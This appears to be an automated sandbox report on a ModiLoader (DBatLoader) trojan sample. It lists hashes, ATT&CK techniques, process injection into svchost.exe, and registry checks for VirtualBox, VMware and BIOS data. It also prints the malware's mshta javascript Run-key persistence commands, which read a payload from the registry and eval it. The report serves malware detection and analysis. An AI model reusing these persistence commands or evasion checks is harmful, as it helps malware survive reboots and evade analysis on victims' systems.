modiloader | f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72

General

Target

f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe
Size

441KB
MD5

13a63279006c3932aeaf7f637cd3d470
SHA1

4b5f5b00ea6151be1159bdf1361db9f4daac2f71
SHA256

f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72
SHA512

b596ef9356dfcadf3c73ab739846070789e16a543ea746a860398ca3e172e63b7b66897f1991b5e103faec56587057b470492b642adcfeb8a2c05eb8c8b4a7bf
SSDEEP

12288:yixPCbySuTiNNwHDR+oO0c6R7rQrCHEBVQy15m:VSQiz/oO50rmCkPm

Score

10^/10

modiloader evasion persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

svchost.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions svchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	svchost.exe

ModiLoader Second Stage 11 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1884-56-0x0000000000400000-0x0000000000473000-memory.dmp	modiloader_stage2
behavioral1/memory/1884-58-0x0000000000050000-0x000000000010E000-memory.dmp	modiloader_stage2
behavioral1/memory/1884-61-0x0000000000050000-0x000000000010E000-memory.dmp	modiloader_stage2
behavioral1/memory/1192-63-0x0000000000160000-0x000000000021E000-memory.dmp	modiloader_stage2
behavioral1/memory/1192-65-0x0000000000160000-0x000000000021E000-memory.dmp	modiloader_stage2
behavioral1/memory/636-67-0x0000000000160000-0x000000000021E000-memory.dmp	modiloader_stage2
behavioral1/memory/968-71-0x0000000000180000-0x000000000023E000-memory.dmp	modiloader_stage2
behavioral1/memory/1544-75-0x0000000000080000-0x000000000013E000-memory.dmp	modiloader_stage2
behavioral1/memory/1544-76-0x0000000000080000-0x000000000013E000-memory.dmp	modiloader_stage2
behavioral1/memory/636-77-0x0000000000160000-0x000000000021E000-memory.dmp	modiloader_stage2
behavioral1/memory/968-78-0x0000000000180000-0x000000000023E000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

svchost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:FB9izY0nfE=\"WEOniI\";J7S=new%20ActiveXObject(\"WScript.Shell\");VR7xoIznO=\"lY8xODbU\";DNVv6=J7S.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\21297246\\\\5a816b00\");HFVr1FO2vQ=\"ubc\";eval(DNVv6);TBVhQ0hNU=\"G\";"	svchost.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

svchost.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools svchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	svchost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

svchost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	svchost.exe

Deletes itself 1 IoCs

Processes:

svchost.exe

pid process

636 svchost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

svchost.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:LToq1TSwk=\"V\";TA0=new%20ActiveXObject(\"WScript.Shell\");Nk6bug7T=\"fI\";izTT1=TA0.RegRead(\"HKCU\\\\software\\\\21297246\\\\5a816b00\");A8omhjJ=\"C7\";eval(izTT1);b5KXZzig=\"tWd6G6gcp1\";"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Cbtebb7zk=\"vxt19\";SV3=new%20ActiveXObject(\"WScript.Shell\");MIm5EiB2nY=\"f3DmDwXz\";jS1fU=SV3.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\21297246\\\\5a816b00\");M6M6SDkWH=\"PYL8RaOwWX\";eval(jS1fU);lXOb1sWdb=\"cw\";"	svchost.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

svchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	svchost.exe

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

T1112

Processes:

svchost.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\International	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\svchost.exe = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	svchost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\svchost.exe = "0"	svchost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

svchost.exe

pid	process
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe

Suspicious behavior: MapViewOfSection 8 IoCs

Processes:

f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exesvchost.exesvchost.exe

pid	process
1884	f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe
1884	f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe
1192	svchost.exe
1192	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe
636	svchost.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe

description	pid	process
Token: SeSystemtimePrivilege	1884	f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe
Token: SeSystemtimePrivilege	1884	f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exesvchost.exesvchost.exe

description	pid	process	target process
PID 1884 wrote to memory of 1192	1884	f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe	svchost.exe
PID 1884 wrote to memory of 1192	1884	f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe	svchost.exe
PID 1884 wrote to memory of 1192	1884	f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe	svchost.exe
PID 1884 wrote to memory of 1192	1884	f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe	svchost.exe
PID 1192 wrote to memory of 636	1192	svchost.exe	svchost.exe
PID 1192 wrote to memory of 636	1192	svchost.exe	svchost.exe
PID 1192 wrote to memory of 636	1192	svchost.exe	svchost.exe
PID 1192 wrote to memory of 636	1192	svchost.exe	svchost.exe
PID 636 wrote to memory of 968	636	svchost.exe	svchost.exe
PID 636 wrote to memory of 968	636	svchost.exe	svchost.exe
PID 636 wrote to memory of 968	636	svchost.exe	svchost.exe
PID 636 wrote to memory of 968	636	svchost.exe	svchost.exe
PID 636 wrote to memory of 1544	636	svchost.exe	svchost.exe
PID 636 wrote to memory of 1544	636	svchost.exe	svchost.exe
PID 636 wrote to memory of 1544	636	svchost.exe	svchost.exe
PID 636 wrote to memory of 1544	636	svchost.exe	svchost.exe

C:\Users\Admin\AppData\Local\Temp\f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe
"C:\Users\Admin\AppData\Local\Temp\f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe"
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1884

C:\Windows\SysWOW64\svchost.exe
svchost.exe
2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1192

C:\Windows\SysWOW64\svchost.exe
svchost.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:636

C:\Windows\SysWOW64\svchost.exe
"C:\Windows\SysWOW64\svchost.exe"
4⤵
PID:968

C:\Windows\SysWOW64\svchost.exe
"C:\Windows\SysWOW64\svchost.exe"
4⤵
PID:1544

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

2

T1060

Privilege Escalation

Defense Evasion

Modify Registry

3

T1112

Virtualization/Sandbox Evasion

2

T1497

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

Software Discovery

System Information Discovery

2

T1082

Virtualization/Sandbox Evasion

2

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/636-64-0x0000000000000000-mapping.dmp

Download
memory/636-77-0x0000000000160000-0x000000000021E000-memory.dmp

Filesize
760KB

Download
memory/636-67-0x0000000000160000-0x000000000021E000-memory.dmp

Filesize
760KB

Download
memory/968-78-0x0000000000180000-0x000000000023E000-memory.dmp

Filesize
760KB

Download
memory/968-71-0x0000000000180000-0x000000000023E000-memory.dmp

Filesize
760KB

Download
memory/968-70-0x0000000000310000-0x0000000000318000-memory.dmp

Filesize
32KB

Download
memory/968-68-0x0000000000000000-mapping.dmp

Download
memory/1192-65-0x0000000000160000-0x000000000021E000-memory.dmp

Filesize
760KB

Download
memory/1192-62-0x0000000000310000-0x0000000000318000-memory.dmp

Filesize
32KB

Download
memory/1192-63-0x0000000000160000-0x000000000021E000-memory.dmp

Filesize
760KB

Download
memory/1192-59-0x0000000000000000-mapping.dmp

Download
memory/1544-72-0x0000000000000000-mapping.dmp

Download
memory/1544-76-0x0000000000080000-0x000000000013E000-memory.dmp

Filesize
760KB

Download
memory/1544-75-0x0000000000080000-0x000000000013E000-memory.dmp

Filesize
760KB

Download
memory/1544-74-0x0000000000310000-0x0000000000318000-memory.dmp

Filesize
32KB

Download
memory/1884-61-0x0000000000050000-0x000000000010E000-memory.dmp

Filesize
760KB

Download
memory/1884-57-0x00000000022E0000-0x0000000002305000-memory.dmp

Filesize
148KB

Download
memory/1884-58-0x0000000000050000-0x000000000010E000-memory.dmp

Filesize
760KB

Download
memory/1884-54-0x0000000076941000-0x0000000076943000-memory.dmp

Filesize
8KB

Download
memory/1884-56-0x0000000000400000-0x0000000000473000-memory.dmp

Filesize
460KB

Download
memory/1884-55-0x00000000022E0000-0x0000000002305000-memory.dmp

Filesize
148KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads